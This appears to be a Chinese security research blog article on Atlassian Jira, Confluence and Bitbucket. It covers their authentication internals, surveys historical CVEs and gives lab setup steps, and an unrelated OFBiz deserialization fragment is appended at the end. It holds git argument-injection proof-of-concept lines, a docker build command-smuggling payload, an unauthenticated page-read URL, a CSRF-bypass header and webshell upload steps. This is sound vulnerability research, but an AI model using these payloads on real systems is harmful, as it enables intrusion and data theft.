Seraph本身并不进行用户管理，它只是检查请求中的登录凭证，然后将用户管理的功能（查找某用户，查看某用户的密码是否正确）指派给Jira的用户管理系统（内置的Crowd）处理。Crowd本来是Atlassian的身份管理及单点登录工具。而Jira
and Confluence都内置了一部分Crowd的核心模块，用于统一的用户管理。
如果想将单点登录（SSO）功能集成到Jira中，需要实现一个[自定义的Seraph
authenticator](https://docs.atlassian.com/atlassian-seraph/2.6.1-m1/sso.html)。很多客户也都是这样做的，因为Jira本身并没有集成单点登录系统。如果将Crowd集成到Jira中，参考：<https://confluence.atlassian.com/crowd/integrating-crowd-with-atlassian-jira-192625.html>
Seraph 由几个核心元素组成：
* Security Service
Security services用于确定特定的HTTP请求需要哪些角色的权限。
Seraph有两个security services：the `Path` service and the `WebWork` service.
其中Path Service 用于对URL paths进行安全限定，可通过其自己的xm文件进行配置：seraph-paths.xml。
受限，在security-config.xml配置文件中需要有这样的配置：
<service class="com.atlassian.seraph.service.PathService">
<init-param>
<param-name>config.file</param-name>
<param-value>/seraph-paths.xml</param-value>
</init-param>
</service>
然后seraph-paths.xml中定义了特定url请求所需要的对应角色：
<seraph-paths>
<!-- You can configure any number of path elements -->
<path name="admin">
<url-pattern>/admin/*</url-pattern>
<role-name>myapp-administrators, myapp-owners</role-name>
</path>
</seraph-paths>
比如上面这个配置就定义了`/admin/*`这样的url就必须myapp-administrators，myapp-owners这样角色的用户可以访问。
另外WebWork Service需要用actions.xml配置文件来进行配置（前面已经提到了）：
<action name="project.AddProject" roles-required="admin">
<view name="input">/secure/admin/views/addproject.jsp</view>
</action>
比如上面这个就表示`/secure/admin/views/addproject.jsp`这个url请求的需要admin角色才能操作。
* Interceptor：用于在一些安全事件（登录、注销）的前后执行的一些代码。在Servlet规范下是不可能做的。比如用户登录之后，记录上次登录的日期；用户注销之后清理一些资源；记录用户登录失败的次数。
* Authenticator
Authenticator用于对用户进行认证（authenticate） , 对用户进行登录、注销等操作，以及检查他们的角色权限。
* Controller：进行全局的安全控制开关。
* Role Mapper
### 如何配置Seraph
可以在两个地方配置Seraph：
**通过seraph-config.xml配置文件**
Seraph的核心是通过seraph-config.xml来进行配置的。通常放在web应用的`WEB-INF/classes`目录下。
<security-config>
<parameters>
<init-param>
<!-- the URL to redirect to when the user tries to access a protected resource (rather than clicking on
an explicit login link). Most of the time, this will be the same value as 'link.login.url'.
- if the URL is absolute (contains '://'), then redirect that URL (for SSO applications)
- else the context path will be prepended to this URL
If '${originalurl}' is present in the URL, it will be replaced with the context-relative URL that the user requested.
This gives SSO login pages the chance to redirect to the original page
-->
<param-name>login.url</param-name>
<param-value>/login.jsp?os_destination=${originalurl}</param-value>
<!-- <param-value>http://example.com/SSOLogin?target=${originalurl}</param-value>-->
</init-param>
<init-param>
<!-- the URL to redirect to when the user explicitly clicks on a login link (rather than being redirected after
trying to access a protected resource). Most of the time, this will be the same value as 'login.url'.
- same properties as login.url above
-->
<param-name>link.login.url</param-name>
<param-value>/secure/Dashboard.jspa?os_destination=${originalurl}</param-value>
<!-- <param-value>http://mycompany.com/SSOLogin?target=${originalurl}</param-value>-->
</init-param>
<init-param>
<!-- URL for logging out.
- If relative, Seraph just redirects to this URL, which is responsible for calling Authenticator.logout().
- If absolute (eg. SSO applications), Seraph calls Authenticator.logout() and redirects to the URL
-->
<param-name>logout.url</param-name>
<param-value>/secure/Logout!default.jspa</param-value>
<!-- <param-value>http://mycompany.com/SSOLogout</param-value>-->
</init-param>
<!-- The key that the original URL is stored with in the session -->
<init-param>
<param-name>original.url.key</param-name>
<param-value>os_security_originalurl</param-value>
</init-param>
<init-param>
<param-name>login.cookie.key</param-name>
<param-value>seraph.os.cookie</param-value>
</init-param>
<!-- Specify 3 characters to make cookie encoding unique for your application, to prevent collisions
if more than one Seraph-based app is used.
<init-param>
<param-name>cookie.encoding</param-name>
<param-value>xYz</param-value>
</init-param>
-->
<!-- Basic Authentication can be enabled by passing the authentication type as a configurable url parameter.
With this example, you will need to pass http://mycompany.com/anypage?os_authType=basic in the url to enable Basic Authentication -->
<init-param>
<param-name>authentication.type</param-name>
<param-value>os_authType</param-value>
</init-param>
</parameters>
<!-- Determines what roles (permissions) a user has. -->
<rolemapper class="com.atlassian.myapp.auth.MyRoleMapper"/>
<!-- A controller is not required. If not specified, security will always be on
<controller class="com.atlassian.myapp.setup.MyAppSecurityController" />
-->
<!-- Logs in users. Must be overridden for SSO apps -->
<authenticator class="com.atlassian.seraph.auth.DefaultAuthenticator"/>
<services>
<!-- Specifies role requirements for accessing specified URL paths -->
<service class="com.atlassian.seraph.service.PathService">
<init-param>
<param-name>config.file</param-name>
<param-value>/seraph-paths.xml</param-value>
</init-param>
</service>
<!-- Specifies role requirements to execute Webwork actions -->
<service class="com.atlassian.seraph.service.WebworkService">
<init-param>
<param-name>action.extension</param-name>
<param-value>jspa</param-value>
</init-param>
</service>
</services>
<interceptors>
<!-- <interceptor class="com.atlassian.myapp.SomeLoginInterceptor"/> -->
</interceptors>
</security-config>
**通过过滤器（Filters）**
与Seraph相关的，有两个Filter（`com.atlassian.seraph.filter.LoginFilter`，`com.atlassian.seraph.filter.SecurityFilter`），和一个Servlet（`com.atlassian.seraph.logout.LogoutServlet`）是必需放在`WEB-INF/web.xml`中的。
<filter>
<filter-name>login</filter-name>
<filter-class>com.atlassian.seraph.filter.LoginFilter</filter-class>
</filter>
<filter>
<filter-name>security</filter-name>
<filter-class>com.atlassian.seraph.filter.SecurityFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>login</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<filter-mapping>
<filter-name>security</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>logout</servlet-name>
<servlet-class>com.atlassian.seraph.logout.LogoutServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>logout</servlet-name>
<url-pattern>/logout</url-pattern>
</servlet-mapping>
### Jira的认证（authentication）方式
The Jira Server platform, Jira Software Server, and Jira Service Desk Server
REST APIs有以下几种认证方式：
**OAuth**
使用Jira产生的Token来进行认证，虽然实现不太方便，但是比较安全。
具体参考：<https://developer.atlassian.com/server/jira/platform/oauth/>
**HTTP Basic认证**
其实就是在HTTP请求头中加上一个HTTP请求头，这种方式没那么安全，但是在脚本中或者命令行掉REST接口比较好用。
具体参考：<https://developer.atlassian.com/server/jira/platform/basic-authentication/>
比如CURL就可以这样用：
curl -u username:password -X GET -H "Content-Type: application/json" http://localhost:8080/rest/api/2/issue/createmeta
curl会自动帮你把提供的用户名密码计算加到Header中。
或者你也可以自己计算好之后，把它作为一个HTTP头来请求。
其实就是把`username:password`进行base64编码，然后加到`Authorization: Basic {base64}`即可。
对应到代码中是：
atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/lib/atlassian-seraph-3.0.3.jar!/com/atlassian/seraph/filter/HttpAuthFilter.class
继承自PasswordBasedLoginFilter
即先解码base64，然后传入username和password，返回一个UserPasswordPair对象。
new UserPasswordPair(creds.getUsername(), creds.getPassword(), false);
**验证码(CAPTCHA)**
多次连续登陆失败之后，就会出现验证码。
**基于Cookie的认证**
就是用Cookie来进行认证。对应到代码中是：
atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/lib/atlassian-seraph-3.0.3.jar!/com/atlassian/seraph/filter/LoginFilter.class
继承自PasswordBasedLoginFilter
### 表单token的处理（防CSRF）
<https://developer.atlassian.com/server/jira/platform/form-token-handling/>
想要对某个Action进行 xsrf token验证，需要进行以下步骤：
1、首先定位到某个Action具体执行的方法，一般默认是doExecute()
2、在这个方法前加上注解：`[@com](https://github.com/com
"@com").atlassian.jira.security.xsrf.RequiresXsrfCheck`
如果在自动化脚本中，可以使用以下HTTP头来绕过反CSRF校验机制：
X-Atlassian-Token: no-check
在Jira的java代码中生成token的方法为：
import com.atlassian.jira.security.xsrf.XsrfTokenGenerator;
XsrfTokenGenerator xsrfTokenGenerator = ComponentManager.getComponentInstanceOfType(XsrfTokenGenerator.class);
String token = xsrfTokenGenerator.generateToken(request);
## Jira历史漏洞
### [CVE-2019-8442]敏感信息泄露漏洞
问题在于`CachingResourceDownloadRewriteRule`:
官方issues：
<https://jira.atlassian.com/browse/JRASERVER-69241>
官方描述：
> The CachingResourceDownloadRewriteRule class in Jira before version 7.13.4,
> and from version 8.0.0 before version 8.0.4, and from version 8.1.0 before
> version 8.1.1 allows remote attackers to access files in the Jira webroot
> under the META-INF directory via a lax path access check.
CNNVD描述：
> Atlassian Jira
> 7.13.4之前版本、8.0.4之前版本和8.1.1之前版本中的CachingResourceDownloadRewriteRule类存在安全漏洞。远程攻击者可利用该漏洞访问Jira
> webroot中的文件。
相应插件下载：
<http://central.maven.org/maven2/org/tuckey/urlrewritefilter/4.0.3/urlrewritefilter-4.0.3.jar>
其实在lib目录下有。
`UrlRewriteFilter`
> It is a very powerful tool just like Apache’s mod_rewrite.
bug bounty作者描述漏洞细节：
> the application takes input from the user, and uses it to build a file path
> to which the user is forwarded. Since the user controls a part of that path,
> they may be able to direct themselves to sensitive files, like /META-INF/*,
> application code, or configuration files, which may contain passwords.
只是把用户提供的url在服务端重写了一下，只能访问一些META-INF目录下的配置文件，不能访问jsp源码。
参考：<https://www.cnblogs.com/dennisit/p/3177108.html>
**Demo**
然而并不能访问`WEB-INF`目录下的文件。
这个漏洞危害较低，看看就好。
confluence之前爆过这个urlrewrite.xml的任意配置文件读取漏洞：
<https://www.exploit-db.com/exploits/39170>
不过应该后来一起被修复了。
有人提供了一份[源码](https://github.com/moink635/mysource/blob/master/jira-project/jira-components/jira-core/src/main/java/com/atlassian/jira/plugin/webresource/CachingResourceDownloadRewriteRule.java)，从注释里看，这里就是为了防止路径穿越的。
### [CVE-2019-8444]存储型XSS
影响版本：version < 7.13.6、8.0.0 <= version < 8.3.2
出在评论的地方。
Demo：
更多信息参考Talos的博客：
<https://blog.talosintelligence.com/2019/09/vuln-spotlight-atlassian-jira-sept-19.html>
### [CVE-2018-13404]VerifyPopServerConnection功能SSRF
需要管理员权限才能触发。
这个功能是为了验证邮件服务器的连接的开放性，但是没有对可访问的IP和端口进行限制。这里`/secure/admin/VerifySmtpServerConnection!add.jspa`接收了`serverName`和`port`参数，服务端可以向用户指定的`serverName`和`port`发起TCP请求，导致了SSRF。
参考了一下Jira的开发文档，知道了一般url后缀对应的是do某方法，然后url前面的是对应的Java的类，所以可以在
`atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/jira-mail-plugin-10.0.13.jar!/com/atlassian/jira/plugins/mail/webwork/VerifySmtpServerConnection#doAdd`
下断点。
最终在`atlassian-jira-software-7.13.0-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/base-hipchat-integration-plugin-7.10.3.jar!/javax/mail/Service#connect`
调用
connected = this.protocolConnect(host, port, user, password);
完成TCP请求。
参考：<https://docs.oracle.com/javaee/7/api/javax/mail/Service.html#connect-java.lang.String-int-java.lang.String-java.lang.String->
### [CVE-2019-11581]未授权服务端模板注入漏洞
这个漏洞是Jira爆出的影响力较大的漏洞，是未授权RCE。但是由于这个出漏洞的功能并不是Jira默认开启的，所以影响有限。
详情参考：<https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw>
### [CVE-2019-8451]未授权SSRF漏洞
在漏洞的利用方面主要是利用了Jira在检查用户提供的url时可以通过`@`符进行绕过。在调试方面的困难点在于漏洞的触发需要加上特殊请求头`X-Atlassian-Token: no-check`。
详情参考：<https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A>
还有一个早前的比较著名的SSRF漏洞，一些bug hunters用这个漏洞攻击AWS获取其meta敏感信息。
### [CVE-2017-9506]Atlassian OAuth插件的SSRF漏洞
影响范围：
Atlassian OAuth插件1.3.0 < version < 1.9.12以及2.0.0 < version < 2.0.4
Jira和Confluence中都有这个插件。
Demo:
官方修复commit:
<https://bitbucket.org/atlassian/atlassian-oauth/commits/cacd1a118fdc3dc7562d48110340b3de4f0b0af9>
调试：
根据文章中的描述，漏洞点在：`IconUriServlet`。
从jar包中找字符串：
grep -irn "iconuri" `find .|grep .jar`
然后定位到`atlassian-jira-6.4.14-standalone/atlassian-jira/WEB-INF/atlassian-bundled-plugins/atlassian-oauth-service-provider-plugin-1.9.8.jar!/com/atlassian/oauth/serviceprovider/internal/servlet/user/IconUriServlet.class的doGet()`
下断点。
可以看到，这里接收了`consumerUri`参数之后，直接对该url发起了请求。
参考：<http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html>
## Confluence
#### Confluence相关背景知识
背景知识主要内容翻译自官方文档。
##### Confluence的Home目录以及重要目录说明
<https://confluence.atlassian.com/doc/confluence-home-and-other-important-directories-590259707.html>
* `bin/setenv.bat` 或者`bin/setenv.sh`文件：
可用来编辑一些`CATALINA_OPTS`变量、内存设置、gc变量等系统属性。
* `confluence/WEB-INF/classes/confluence-init.properties`：
在这里指定confluence的home目录。
Confluence的Home目录是Confluence存储其配置信息、搜索索引和附件的目录。 “Home目录”也叫“数据目录”。
其他文件及目录的介绍：
* `confluence.cfg.xml`: 包含confluence的各种属性。
* `attachments/`: confluence上的所有附件都存在这里。如果想要更改，可以编辑`confluence.cfg.xml`文件的这个属性`attachments.dir`
* `backups/`: 每日自动备份（或手动备份）的内容会存放在这里，文件名大概是：`daily-backup-YYYY_MM_DD.zip`这个样子。想要更改这个位置，可以编辑`confluence.cfg.xml`的这个属性`daily.backup.dir`。
* `bundled-plugins/`: 每次confluence重启的时候，都会重新从数据库中读取。所以， **删除这个目录下的文件并不能卸载这个插件！**
* `database/`:主要是用于存储h2数据库文件。 如果使用外部数据库，比如mysql，就不会用到这个目录。
* `index/`: 应用程序大量使用Confluence索引进行内容搜索和最近更新的列表，这对于正在运行的Confluence实例至关重要。 如果此目录中的数据丢失或损坏，可以通过从Confluence中运行完整重新索引来恢复它。 此过程可能需要很长时间，具体取决于Confluence数据库存储的数据量。
* `journal/`: [暂时不太清楚]
* `logs/`: confluence的应用日志。
* `plugin-cache/`: Confluence所有的插件都存放在数据库中，但为了能快速访问插件JARs中的类，于是把插件缓存到了这个目录下。当系统安装或者卸载插件的时候会更新这个目录。每次confluence重启的时候，都会重新从数据库中读取。所以， **删除这个目录下的文件并不能卸载这个插件！**
* `temp/`: 用于一些运行时的功能，比如exporting, importing, file upload and indexing。此目录中的文件是临时文件，可在Confluence关闭时被安全地删除。 Confluence中的daily job会删除不再需要的文件。也可以在`confluence.cfg.xml`文件中定义不同的temp目录，然后在`webwork.multipart.saveDir`属性中设置新的值
* `thumbnails/`: 存放图片文件的缩略图。
* `shared-home/`: 某些功能的缓存文件，比如Office文件以及PDF预览也放在这个目录下。也用于迁移到Data Center,。
所有其他的数据，包括页面的内容，都是存放在数据库中的。
**如何更改Home目录**
当Confluence启动的时候，会去`confluence-init.properties`文件中寻找Home目录的位置。想要更改Home目录，需要编辑`confluence-init.properties`文件的`confluence.home`属性。
**License所在目录**
Confluence的License写在其Home目录（也叫confluecne安装目录）的这个文件里
confluence.cfg.xml
到时候更新这里就行了。
当试用Confluence的时候，默认会使用内嵌的H2 Database
参考：<https://confluence.atlassian.com/doc/embedded-h2-database-145098285.html>
是以一个home目录下的`database/h2db.mv.db`文件形式存在。
### Confluence历史漏洞
**[CVE-2019-3396]未授权RCE**
Confluence的漏洞最早引起国内安全研究者的较大关注应该是那次Confluence的未授权RCE `CVE-2019-3396`。
这个功能“小工具连接器”是Confluence自带的。在对某些链接的预览功能的请求中存在一个隐藏参数`_template`，攻击者可插入payload造成文件读取，某些版本可以加载指定的任意模板造成代码执行。
深入的分析可以参考Lucifaer大佬的博文：<https://lucifaer.com/2019/04/16/Confluence%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-3396%EF%BC%89/>
**[CVE-2019-3398]路径穿越漏洞**
搭建Confluence漏洞环境的过程中发现还是比较方便的，界面风格也比较喜欢，于是我熟悉了它家产品的环境搭建流程，申请license的过程中注册了Atlassian的账号，没想到一两个星期之后的一个晚上凌晨1点，我刚准备睡觉，睡前看了一眼我的Gmail，发现Atlassian给我发了一封邮件通知说Confluence有一个严重漏洞`CVE-2019-3398`的安全公告：
于是连夜起来用前几天刚搭好还热乎的环境调试到第二天早上终于把PoC调试出来了。
这个漏洞的触发和payload插入是分开了。需要先通过上传附件的功能将webshell的内容和希望上传到的地方（通过路径穿越）设置好，然后再通过“下载全部附件”的功能把webshell复制到预先设置好的路径下，加载webshell执行任意命令。由于附件文件是存在于Confluence的Home目录下，上传webshell成功的前提是需要知道Confluence的自带Tomcat路径和Confluence的Home路径之间的相对关系，这样才能准确地通过`../`把webshell复制到Tomcat路径下被加载。
详情参考：<https://xz.aliyun.com/t/4854>
**[CVE-2019-3394]敏感信息泄露漏洞**
Confluence有一个”导出到Word”的功能。而导出的文件内容是基于当前被导出的文档内容的。而这个文档中可以包含文字也可以包含图片。当包含图片时，这个图片的路径可以由用户通过路径穿越指定，导致了这个漏洞的产生。（其实这个导出的文件并不是标准的doc格式，只是微软的Office刚好可以打开而已，如果是用其他客户端可能出错打不开。）
这个漏洞跟CVE-2019-3398有两点类似。第一点，都是需要两次请求才能完成漏洞利用。都是需要先设置好payload，然后再通过下载操作或者导出操作触发漏洞。第二点是payload都是通过路径穿越指定的。
详情参考：<https://mp.weixin.qq.com/s/puRrvfqWFVKvQ0hOoVs8lQ>
**[CVE-2019-3395]WebDAV插件未授权SSRF漏洞**
用一句话描述就是，当向受影响的Confluence请求`/webdav`开头的url（这个功能是WebDAV插件提供的）时，用户可以指定任意Host请求头（如果Confluence在其与用户之间没有使用Nginx做反向代理验证这个Host头），然后Confluence会向这个Host发起请求，并将这个请求的响应返回给客户端。
详情参考：<https://mp.weixin.qq.com/s/URDaO5xZISL0Bosh1nzM7A>
以上就是今年Confluence爆出来的重要漏洞了，如果再往前追溯，还可以找到之前的这个信息泄露漏洞。
**[CVE-2017-7415]未授权信息泄露（低版本）**
这个漏洞源于未对REST接口的页面diff功能做权限校验，匿名用户即可访问。
exploit：
<https://github.com/allyshka/exploits/blob/c1f5f0dfa2494001e7c3cffabfbf0219b0e35e08/confluence/CVE-2017-7415/README.md>
影响范围：
6.0.0 <= version < 6.0.7
cnnvd描述：
> Atlassian Confluence 6.0.7之前的6.x版本中存在安全漏洞。远程攻击者可利用该漏洞绕过身份验证，读取任意日志或页面。
直接一个请求：
/rest/tinymce/1/content/<pageId>/draft/diff
可访问任意博客/Pages页面。
比如：
这个页面：<http://cqq.com:8090/pages/viewpage.action?pageId=65546>
本来需要登录才能访问
而如果通过这个url去访问：
<http://cqq.com:8090/rest/tinymce/1/content/65546/draft/diff>
可以直接访问到
漏洞调试
查看代码：`confluence-6.0.6/plugins-osgi-cache/transformed-plugins/confluence-editor-6.0.6_1487721990000.jar!/com/atlassian/confluence/tinymceplugin/rest/PageResource#getDraftDiff`
可以发现这个路径是允许匿名用户访问的：
漏洞修复
使用6.0.7版本进行测试。
不带Cookie的情况下，发现页面404了。
跟到对应的代码`atlassian-confluence-6.0.7/confluence/WEB-INF/atlassian-bundled-plugins/confluence-editor-6.0.7.jar!/com/atlassian/confluence/tinymceplugin/rest/PageResource#getDraftDiff`：
增加了权限校验。若当前用户没有编辑当前页面的权限，则直接响应404。
## Bitbucket
### Bitbucket历史漏洞
Bitbucket最近比较重要的是以下两个漏洞。CVE-2019-15000 git的参数注入漏洞，和CVE-2019-3397。
**[CVE-2019-15000]参数注入漏洞**
Bitbucket最近的漏洞不多，而且我对它也不是很熟悉。最近出的比较严重的漏洞还是`CVE-2019-15000`，
由于REST接口的diff功能未对`--`这种对于git命令有特殊意义的字符进行过滤，导致了git
diff的参数注入，至少可以读取敏感文件的效果。详情参考：<https://mp.weixin.qq.com/s/3J-lA0CQylrq2ZY3ZEESiQ>
**[CVE-2019-3397]**
这个漏洞是由rips发现并分析的。利用这个漏洞需要管理员权限。
详情参考：<https://blog.ripstech.com/2019/bitbucket-path-traversal-to-rce/>
Bitbucket的漏洞可以跟gitlab等git服务解决方案的漏洞进行对比。如果今后它出漏洞很可能还是跟git参数命令相关的。
下面提供一些git参数注入漏洞的例子：
**git ls-remote**
比如Jenkins的Git Client插件的命令执行漏洞`CVE-2019-10392`，
git ls-remote -h --upload-pack=calc.exe HEAD
这个也是git ls-remote命令的参数注入漏洞：
<https://snyk.io/vuln/npm:git-ls-remote:20160923>
**git grep**
git grep --open-files-in-pager=calc.exe master
参考：<https://www.leavesongs.com/PENETRATION/escapeshellarg-and-parameter-injection.html>
感觉好几个是跟pager相关的。pager是用户指定的一个外部的执行diff、cat等功能的可执行文件的路径。
但是我在git log和git diff命令下没找到。
另外又看到几个git的参数注入的：
<https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/>
使用docker build命令的时候：
PoC：
docker build "[email protected]/a/b#--upload-pack=sleep 5;:"
实际上执行的命令是：
$ git init
$ git remote add [email protected]/a/b
$ git fetch origin "--upload-pack=sleep 5; [email protected]/a/b"
另外还有一个git submodule的命令执行：
https://staaldraad.github.io/post/2018-06-03-cve-2018-11235-git-rce/
利用git hooks实现路径穿越。
less读取文件：
`shift + e`，然后输入文件名即可读取这个文件。
less执行命令：
参考：
<https://docs.ioin.in/writeup/evi1cg.me/_archives_CVE_2017_8386_html/index.html>
比如`git-receive-pack --help`命令就用到了less命令，可以用来读取文件和执行命令。
这个产品的漏洞挖掘需要对git的各种参数及其使用场景非常熟悉或有过深入的研究。可以从以下资料展开研究：
* [对基于Git的版本控制服务的通用攻击面的探索](https://data.hackinn.com/ppt/2019%E7%AC%AC%E4%BA%94%E5%B1%8A%E4%BA%92%E8%81%94%E7%BD%91%E5%AE%89%E5%85%A8%E9%A2%86%E8%A2%96%E5%B3%B0%E4%BC%9A/%E5%AF%B9%E5%9F%BA%E4%BA%8EGit%E7%9A%84%E7%89%88%E6%9C%AC%E6%8E%A7%E5%88%B6%E6%9C%8D%E5%8A%A1%E7%9A%84%E9%80%9A%E7%94%A8%E6%94%BB%E5%87%BB%E9%9D%A2%E7%9A%84%E6%8E%A2%E7%B4%A2.pdf)
* [hackerone上公开的gitlab漏洞](https://hackerone.com/reports/658013)
* [git命令文档说明](https://git-scm.com/docs/)
## Atlassian产品环境搭建
Atlassian家产品的环境搭建都比较类似。会自带一个Tomcat，然后具体产品作为其一个webapp存在。Github上有一份[带dockerfile的环境](https://github.com/TommyLau/docker-atlassian)，基本上Atlassian产品的环境都有了。
如果自己在Mac上或者Linux上搭建环境，可以用以下方式，以Jira为例，Confluence类似。找到具体的产品和版本号即可。
$ wget https://product-downloads.atlassian.com/software/jira/downloads/atlassian-jira-software-7.13.0.tar.gz
$ tar zxf atlassian-jira-software-7.13.0.tar.gz
$ cd atlassian-jira-software-7.13.0-standalone/
$ vi atlassian-jira/WEB-INF/classes/jira-application.properties #设置jira的Home目录，这里我设置为
#/home/cqq/jiraHome
$ mkdir /home/cqq/jiraHome # 作为jira的安装目录(不手动创建目录也行，jira会自动创建)
$ conf/server.xml #修改端口，这里我改成8091，与Confluence的8090接近
$ bin/start-jira.sh #启动jira
若想调试，需要修改`bin/setenv.sh`:
CATALINA_OPTS="-Xrunjdwp:transport=dt_socket,suspend=n,server=y,address=12346 ${CATALINA_OPTS}" # for debug
CATALINA_OPTS="${GC_JVM_PARAMETERS} ${CATALINA_OPTS}"
export CATALINA_OPTS
如果觉得卡可以把允许的内存设置的大一些：
JVM_MINIMUM_MEMORY="4096m"
JVM_MAXIMUM_MEMORY="4096m"
安装时会选择数据库，如果图方便可以选择内置的h2数据库，也可以自己创建好对应的数据库之后，让Jira连接它即可。我尝试使用了postgresql数据库，可以参考：<https://blog.csdn.net/caiqiiqi/article/details/89021367>
Bitbucket的设置调试和环境变量稍微有点区别：
下载：<https://product-downloads.atlassian.com/software/stash/downloads/atlassian-bitbucket-6.1.1.zip>
解压之后设置好`JAVA_HOME`环境变量，以及`BITBUCKET_HOME`环境变量，
这个是到时候bitbucket的数据被安装到的目录。
vi bin/set-bitbucket-home.sh #设置JAVA_HOME，以及BITBUCKET_HOME环境变量
vi bin/_start-webapp.sh
# DEBUG="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=12346"
bin/start-bitbucket.sh # 启动Bitbucket
Jira、Confluence、Bitbucket的历史版本下载：
* <https://www.atlassian.com/software/jira/download-archives>
* <https://www.atlassian.com/software/confluence/download-archives>
* <https://www.atlassian.com/software/bitbucket/download-archives>
可以选择安装程序进行安装，也可以选择压缩文件解压到本地。
在安装过程中需要输入相应的licnese，如果只是用于测试，可以到Atlassian选择对应的产品，申请试用的license，有效期是一个月。
<https://my.atlassian.com/license/evaluation>
## Atlassian产品最新漏洞获取方式
Atlassian产品主要发布在官方公告和issues页面中。
官方公告一般发高危及以上的漏洞，其他的漏洞会先在issues里提交然后分配CVE编号(安全公告一般也是从issues中来的)。一般监控官方公告页面就可以了。如果想获取最新的可能的漏洞信息，而又不担心误报的话，可以监控issues页面，或者跟着NVD的邮件列表看看有没有Atlassian产品相关的。
* Jira官方公告页面：
<https://confluence.atlassian.com/jira/security-advisories-112853939.html>
* Confluence官方公告页面：
<https://confluence.atlassian.com/doc/confluence-security-overview-and-advisories-134526.html>
* Bitbucket官方公告页面：
<https://confluence.atlassian.com/bitbucketserver/bitbucket-server-security-advisories-776640597.html>
issues页面:
* <https://jira.atlassian.com/browse/JRASERVER-69858?filter=13085>
## Atlassian产品漏洞应急
根据这段时间跟进Atlassian产品的漏洞的经验，当一个jira或者confluence的cve出来的时候，可能当时只有漏洞描述，没有复现步骤，需要自己定位到漏洞点。
我一般是通过在相应产品目录下各种文本文件(包括jar包)搜索关键词(忽略大小写)
grep -rni "<关键词>或者关键<path>或者<类名>或者<方法名>" *
或者在其各种jar包中搜索关键字：
grep -rni "关键词" `find . -name *.jar`
或者通过strings工具判断某二进制文件中是否包含某关键词字符串。
可能在`WEB-INF/web.xml`中找到url对应的处理类：
比如我通过官方的描述，知道了CVE-2019-8446的触发点是`/rest/issueNav/1/issueTable`，那我就搜`/rest/issueNav`，然后在`WEB-INF/web.xml`中找到了对应的处理类/过滤器名
然后根据过滤器的名字搜索类
再根据类名定位到具体的文件中，可能是jar包形式，也可能是.class文件形式。
然后再去IDEA中下断点。
还有一个办法就是直接去日志里查调用栈（如果有报错的话）
如果只知道一个关键方法的名字，可以先搜它在哪个jar包中
确定jar包之后， 再用反编译工具将jar包反编译你成java代码，再搜索，确定其具体的路径，定位到具体的文件。
## 参考
* [Confluence中文版文档](https://www.cwiki.us/display/CONFLUENCEWIKI)
* [There is a proxy in your Atlassian Product! (CVE-2017-9506)](http://dontpanic.42.nl/2017/12/there-is-proxy-in-your-atlassian.html)
* [Jira Architecture overview](https://developer.atlassian.com/server/jira/platform/architecture-overview/)
* [Jira相关背景知识](https://blog.csdn.net/caiqiiqi/article/details/89927578)
* [Confluence相关背景知识](https://blog.csdn.net/caiqiiqi/article/details/96426205)
* [Bitbucket相关](https://blog.csdn.net/caiqiiqi/article/details/102799830)
* [Vulnerability Spotlight: Multiple vulnerabilities in Atlassian Jira](https://blog.talosintelligence.com/2019/09/vuln-spotlight-atlassian-jira-sept-19.html)
* [BitBucket服务器参数注入漏洞(CVE-2019-15000)](https://mp.weixin.qq.com/s/3J-lA0CQylrq2ZY3ZEESiQ)
* [Jira未授权SSRF漏洞(CVE-2019-8451)](https://mp.weixin.qq.com/s/_Tsq9p1pQyszJt2VaXd61A)
* [Jira未授权服务端模板注入漏洞(CVE-2019-11581)](https://mp.weixin.qq.com/s/d2yvSyRZXpZrPcAkMqArsw)
* [Confluence路径穿越漏洞(CVE-2019-3398)](https://xz.aliyun.com/t/4854)
* [Confluence未授权模板注入/代码执行(CVE-2019-3396)](https://caiqiqi.github.io/2019/11/03/Confluence%E6%9C%AA%E6%8E%88%E6%9D%83%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5-%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C-CVE-2019-3396/)
* [Confluence 未授权RCE分析（CVE-2019-3396）](https://lucifaer.com/2019/04/16/Confluence%20%E6%9C%AA%E6%8E%88%E6%9D%83RCE%E5%88%86%E6%9E%90%EF%BC%88CVE-2019-3396%EF%BC%89/)
* [Confluence Pre-Auth SSRF(CVE-2019-3395)](https://mp.weixin.qq.com/s/URDaO5xZISL0Bosh1nzM7A)
* [Confluence敏感信息泄露漏洞(CVE-2019-3394)](https://mp.weixin.qq.com/s/puRrvfqWFVKvQ0hOoVs8lQ)
* [Atlassian products in Docker](https://github.com/TommyLau/docker-atlassian)
* <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201909-897>
* <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201908-2216>
* <http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-201909-903>
* [CVE-2017-9506 – SSRF](https://github.com/random-robbie/Jira-Scan) | 社区文章 |
Author: 析安实验室(ZionLab)
## 漏洞分析
官网获取最新版本 <https://ofbiz.apache.org/download.html>
发现新版本对
`.\framework\base\src\main\java\org\apache\ofbiz\base\util\SafeObjectInputStream.java`
的 65行 进行了修改，添加了`java.rmi.server` 黑名单，说明此处应该存在 RMI 的利用链
### 寻找 `SafeObjectInputStream` 类的利用链
在 `framework/base/src/main/java/org/apache/ofbiz/base/util/UtilObject.java`
的114行
发现 `SafeObjectInputStream`类被初始化使用
并且直接 `return wois.readObject();` 很明显是个反序列化点
### 继续反向跟踪 `UtilObject`类`getObjectException`方法的利用链
发现自身 92行 `getObject()` 方法调用了该方法
### 寻找 `UtilObject.getObject()` 的调用链
